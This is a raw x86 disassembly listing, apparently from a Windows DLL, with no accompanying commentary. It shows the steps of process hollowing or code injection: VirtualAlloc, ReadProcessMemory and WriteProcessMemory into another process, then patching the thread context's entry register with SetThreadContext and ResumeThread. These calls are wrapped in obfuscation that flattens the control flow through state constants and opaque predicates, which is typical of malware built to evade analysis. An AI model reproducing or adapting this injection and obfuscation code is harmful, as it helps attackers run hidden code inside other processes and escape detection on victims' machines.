mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x144]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x140]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [0x10064538]
mov eax, dword [0x10064534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x438a890e
mov ecx, 0xd795ac86
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov dword [ebp - 0x14c], 0x115bd9a8
jmp 0x1000486a
mov ecx, dword [0x10064538]
mov eax, dword [0x10064534]
mov edx, ecx
sub edx, 0x3fcb3c7f
sub edx, 1
add edx, 0x3fcb3c7f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7aa9baa6
mov ecx, 0x91571b11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x6c], eax
mov ecx, dword [0x10064538]
mov eax, dword [0x10064534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7aa9baa6
mov ecx, 0xe83bb590
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov dword [ebp - 0x14c], 0x43a8213d
jmp 0x1000486a
mov dword [ebp - 0x14c], 0x4128204e
jmp 0x1000486a
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10005090
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x14c], 0xb8a83118
jmp 0x1000486a
mov dword [ebp - 0x14c], 0xb92477a0
jmp 0x1000486a
mov dword [ebp - 0x14c], 0x36e973b1
jmp 0x1000486a
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x14c], 0x3b77eba1
jmp 0x1000486a
mov eax, dword [ebp - 0x144]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x130]
mov edx, dword [edx]
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x14c], 0xfb10ade0
jmp 0x1000486a
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x14c], 0x634a3085
jmp 0x1000486a
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x14c], 0x701d09bb
jmp 0x1000486a
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov edx, dword [eax]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x88]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov edx, dword [ebp - 0x104]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, 0xffffffff
xor eax, 0xd63fcfb4
or edx, esi
or eax, 0xd63fcfb4
xor edx, 0xffffffff
and edx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xfc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x14c], 0x1f1c0d66
jmp 0x1000486a
jmp 0x10002440